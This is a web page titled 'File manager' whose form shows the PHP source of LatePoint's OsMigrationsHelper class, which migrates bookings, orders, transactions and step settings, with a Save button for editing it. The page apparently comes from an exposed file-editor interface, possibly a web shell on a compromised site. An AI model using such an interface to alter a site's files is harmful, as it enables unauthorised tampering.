File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/*
 * Copyright (c) 2024 LatePoint LLC. All rights reserved.
 */

class OsMigrationsHelper {

	function __construct() {
	}

	public static function migrate_from_version_4(): string {


		$bookings            = new OsBookingModel();
		$bookings_to_migrate = $bookings-&gt;where( [ &#039;order_item_id&#039; =&gt; &#039;IS NOT NULL&#039; ] )-&gt;get_results_as_models();
		$report = &#039;&#039;;
		foreach ( $bookings_to_migrate as $booking ) {
			$report     .= &#039;&lt;div&gt;Start migrating totals for Booking ID:&#039; . $booking-&gt;id . &#039;&lt;/div&gt;&#039;;
			$order_item = new OsOrderItemModel( $booking-&gt;order_item_id );
			if ( $order_item-&gt;is_new_record() ) {
				$report .= &#039;&lt;div&gt;Skipping as there is no associated order item&lt;/div&gt;&#039;;
			} else {
				$order_item-&gt;total           = $booking-&gt;price;
				$order_item-&gt;subtotal        = $booking-&gt;subtotal;
				$order_item-&gt;coupon_code     = $booking-&gt;coupon_code;
				$order_item-&gt;coupon_discount = $booking-&gt;coupon_discount;
				$tax_total                   = $booking-&gt;total - $booking-&gt;subtotal - $booking-&gt;coupon_discount;
				$order_item-&gt;tax_total       = ( $tax_total &gt; 0 ) ? $tax_total : 0;
				$order_item-&gt;save();
				if ( $tax_total &gt; 0 ) {
					$order = new OsOrderModel( $order_item-&gt;order_id );
					if ( $order-&gt;is_new_record() ) {

					}
				}
			}
		}


		$report      = &#039;&#039;;
		$bookings    = new OsBookingModel();
		$v4_bookings = $bookings-&gt;where( [ &#039;order_item_id&#039; =&gt; &#039;IS NULL&#039; ] )-&gt;get_results_as_models();
		foreach ( $v4_bookings as $booking ) {
			$report                 .= &#039;&lt;div&gt;Start migrating Booking ID:&#039; . $booking-&gt;id . &#039;&lt;/div&gt;&#039;;
			$order                  = new OsOrderModel();
			$order-&gt;total           = $booking-&gt;price;
			$order-&gt;subtotal        = $booking-&gt;subtotal;
			$order-&gt;customer_id     = $booking-&gt;customer_id;
			$order-&gt;coupon_code     = $booking-&gt;coupon_code;
			$order-&gt;coupon_discount = $booking-&gt;coupon_discount;
			try {
				$tax_total        = $booking-&gt;total - $booking-&gt;subtotal - $booking-&gt;coupon_discount;
				$order-&gt;tax_total = ( $tax_total &gt; 0 ) ? $tax_total : 0;
			} catch ( Exception $e ) {
				$report           .= &#039;&lt;div&gt;Error calculating Total Tax:&#039; . $booking-&gt;id . &#039;&lt;/div&gt;&#039;;
				$order-&gt;tax_total = 0;
			}
			$order-&gt;ip_address       = $booking-&gt;ip_address;
			$order-&gt;source_id        = $booking-&gt;source_id;
			$order-&gt;source_url       = $booking-&gt;source_url;
			$order-&gt;price_breakdown  = $booking-&gt;get_meta_by_key( &#039;price_breakdown&#039; );
			$order-&gt;customer_comment = $booking-&gt;customer_comment;
			$order-&gt;updated_at       = $booking-&gt;updated_at;
			$order-&gt;created_at       = $booking-&gt;created_at;
			if ( $booking-&gt;status == LATEPOINT_BOOKING_STATUS_CANCELLED ) {
				$order-&gt;status = LATEPOINT_ORDER_STATUS_CANCELLED;
			} else {
				$order-&gt;status = $booking-&gt;is_upcoming() ? LATEPOINT_ORDER_STATUS_OPEN : LATEPOINT_ORDER_STATUS_COMPLETED;
			}
			$order-&gt;fulfillment_status = ( $order-&gt;status == LATEPOINT_ORDER_STATUS_COMPLETED ) ? LATEPOINT_ORDER_FULFILLMENT_STATUS_FULFILLED : LATEPOINT_ORDER_FULFILLMENT_STATUS_NOT_FULFILLED;
			$order-&gt;payment_status     = $booking-&gt;payment_status;
			if ( $order-&gt;save() ) {
				$report                      .= &#039;&lt;div&gt;Created Order ID:&#039; . $order-&gt;id . &#039;&lt;/div&gt;&#039;;
				$order_item                  = new OsOrderItemModel();
				$order_item-&gt;order_id        = $order-&gt;id;
				$order_item-&gt;total           = $order-&gt;total;
				$order_item-&gt;subtotal        = $order-&gt;subtotal;
				$order_item-&gt;coupon_code     = $order-&gt;coupon_code;
				$order_item-&gt;coupon_discount = $order-&gt;coupon_discount;
				$order_item-&gt;tax_total       = $order-&gt;tax_total;
				$order_item-&gt;variant         = LATEPOINT_ITEM_VARIANT_BOOKING;
				$order_item-&gt;updated_at      = $booking-&gt;updated_at;
				$order_item-&gt;created_at      = $booking-&gt;created_at;
				$order_item-&gt;item_data       = wp_json_encode( $booking-&gt;generate_params_for_booking_form(), true );
				if ( $order_item-&gt;save() ) {
					$report                 .= &#039;&lt;div&gt;Created Order Item ID:&#039; . $order_item-&gt;id . &#039;&lt;/div&gt;&#039;;
					$booking-&gt;order_item_id = $order_item-&gt;id;
					if ( $booking-&gt;save() ) {
						$report .= &#039;&lt;div&gt;Migration Finished Booking ID:&#039; . $booking-&gt;id . &#039;&lt;/div&gt;&#039;;
					} else {
						$report .= &#039;&lt;div&gt;Migration Error [booking]&lt;/div&gt;&#039;;
						OsDebugHelper::log( &#039;Error updating booking for v4 booking&#039;, &#039;v4_update_migration_error&#039;, $booking-&gt;get_error_messages() );
					}
				} else {
					$report .= &#039;&lt;div&gt;Migration Error [order item]&lt;/div&gt;&#039;;
					OsDebugHelper::log( &#039;Error creating order item for v4 booking&#039;, &#039;v4_update_migration_error&#039;, $order_item-&gt;get_error_messages() );
				}
			} else {
				$report .= &#039;&lt;div&gt;Migration Error [order]&lt;/div&gt;&#039;;
				OsDebugHelper::log( &#039;Error creating order for v4 booking&#039;, &#039;v4_update_migration_error&#039;, $order-&gt;get_error_messages() );
			}
		}
		$transactions    = new OsTransactionModel();
		$v4_transactions = $transactions-&gt;where( [ &#039;order_id&#039; =&gt; &#039;IS NULL&#039; ] )-&gt;get_results_as_models();
		foreach ( $v4_transactions as $transaction ) {
			$report .= &#039;&lt;div&gt;Start migrating Transaction ID:&#039; . $transaction-&gt;id . &#039;&lt;/div&gt;&#039;;
			if ( empty( $transaction-&gt;booking_id ) ) {
				continue;
			}
			$booking = new OsBookingModel( $transaction-&gt;booking_id );
			if ( $booking-&gt;id &amp;&amp; $booking-&gt;order_item_id ) {
				$order_item = new OsOrderItemModel( $booking-&gt;order_item_id );
				if ( $order_item-&gt;id &amp;&amp; $order_item-&gt;order_id ) {
					$transaction-&gt;order_id = $order_item-&gt;order_id;
					$transaction-&gt;kind     = LATEPOINT_TRANSACTION_KIND_CAPTURE;
					if ( ! empty( $transaction-&gt;funds_status ) ) {
						switch ( $transaction-&gt;funds_status ) {
							case &#039;captured&#039;:
								$transaction-&gt;kind = LATEPOINT_TRANSACTION_KIND_CAPTURE;
								break;
							case &#039;authorized&#039;:
								$transaction-&gt;kind = LATEPOINT_TRANSACTION_KIND_AUTHORIZATION;
								break;
						}
					}
					if ( $transaction-&gt;save() ) {
						$report .= &#039;&lt;div&gt;Migration Finished Transaction ID:&#039; . $transaction-&gt;id . &#039;&lt;/div&gt;&#039;;
					} else {
						$report .= &#039;&lt;div&gt;Migration Error [transaction]&lt;/div&gt;&#039;;
						OsDebugHelper::log( &#039;Error updating transaction&#039;, &#039;v4_update_migration_error&#039;, $transaction-&gt;get_error_messages() );
					}
				} else {
					$report .= &#039;&lt;div&gt;Migration Error [order item ID: &#039; . $booking-&gt;order_item_id . &#039;]&lt;/div&gt;&#039;;
				}
			} else {
				$report .= &#039;&lt;div&gt;Migration Error [booking ID: &#039; . $transaction-&gt;booking_id . &#039;]&lt;/div&gt;&#039;;
			}
		}

		// migrate steps
		$report .= &#039;&lt;div&gt;Migrating Steps&lt;/div&gt;&#039;;
		self::migrate_step_descriptions_from_version_4();
		$report .= &#039;&lt;div&gt;Finished Migrating Steps&lt;/div&gt;&#039;;

		return $report;
	}

	public static function migrate_step_descriptions_from_version_4(): string {
		global $wpdb;
		$report = &#039;&#039;;

		$steps_table = $wpdb-&gt;prefix . &#039;latepoint_step_settings&#039;;
		$steps_rows  = $wpdb-&gt;get_results( $wpdb-&gt;prepare(&#039;SELECT label, value, step FROM %i&#039;, esc_sql($steps_table) ));
		$steps       = [];

		$conversions = [
			&#039;sub_title&#039;        =&gt; &#039;main_panel_heading&#039;,
			&#039;title&#039;            =&gt; &#039;side_panel_heading&#039;,
			&#039;description&#039;      =&gt; &#039;side_panel_description&#039;,
			&#039;icon_image_id&#039;    =&gt; &#039;side_panel_custom_image_id&#039;,
			&#039;use_custom_image&#039; =&gt; &#039;use_custom_image&#039;
		];

		foreach ( $steps_rows as $step ) {
			if ( isset( $conversions[ $step-&gt;label ] ) ) {
				$steps[ $step-&gt;step ][ $conversions[ $step-&gt;label ] ] = $step-&gt;value;
			}
		}

		$steps_settings = OsStepsHelper::get_steps_settings();

		foreach ( $steps as $old_step_code =&gt; $data ) {
			$new_step_codes = self::clean_up_step_code_from_version_4( $old_step_code );
			if ( ! empty( $new_step_codes ) ) {
				foreach ( $new_step_codes as $step_code ) {
					$steps_settings[ $step_code ][&#039;main_panel_heading&#039;]     = $data[&#039;main_panel_heading&#039;];
					$steps_settings[ $step_code ][&#039;side_panel_heading&#039;]     = $data[&#039;side_panel_heading&#039;];
					$steps_settings[ $step_code ][&#039;side_panel_description&#039;] = $data[&#039;side_panel_description&#039;];
					if ( $data[&#039;use_custom_image&#039;] == &#039;on&#039; &amp;&amp; ! empty( $data[&#039;side_panel_custom_image_id&#039;] ) ) {
						$steps_settings[ $step_code ][&#039;side_panel_custom_image_id&#039;] = $data[&#039;side_panel_custom_image_id&#039;];
					}
					$report .= &#039;&lt;div&gt;- &#039; . $step_code . &#039;&lt;/div&gt;&#039;;
				}
			}
		}
		$steps_support_text = OsSettingsHelper::get_settings_value( &#039;steps_support_text&#039;, &#039;&#039; );
		if ( ! empty( $steps_support_text ) ) {
			$steps_settings[&#039;shared&#039;][&#039;steps_support_text&#039;] = $steps_support_text;
			$report                                         .= &#039;&lt;div&gt;- Support Text&lt;/div&gt;&#039;;
		}
		OsStepsHelper::save_steps_settings( $steps_settings );

		return $report;
	}

	public static function clean_up_step_code_from_version_4( string $step_code ): array {
		$steps = [
			&#039;services&#039;                  =&gt; [
				&#039;booking__services&#039;,
				&#039;booking__service_extras&#039;,
				&#039;booking__service_durations&#039;,
				&#039;booking__group_bookings&#039;,
			],
			&#039;locations&#039;                 =&gt; [ &#039;booking__locations&#039; ],
			&#039;agents&#039;                    =&gt; [ &#039;booking__agents&#039; ],
			&#039;datepicker&#039;                =&gt; [ &#039;booking__datepicker&#039; ],
			&#039;contact&#039;                   =&gt; [ &#039;customer&#039; ],
			&#039;custom_fields_for_booking&#039; =&gt; [ &#039;booking__custom_fields&#039; ],
			&#039;payment&#039;                   =&gt; [
				&#039;payment__methods&#039;,
				&#039;payment__times&#039;,
				&#039;payment__portions&#039;,
				&#039;payment__methods&#039;,
				&#039;payment__processors&#039;,
				&#039;payment__pay&#039;
			],
			&#039;verify&#039;                    =&gt; [ &#039;verify&#039; ],
			&#039;confirmation&#039;              =&gt; [ &#039;confirmation&#039; ]
		];

		return $steps[ $step_code ] ?? [];
	}
}</textarea><input type='submit' name='save' value='Save' style=''/></form>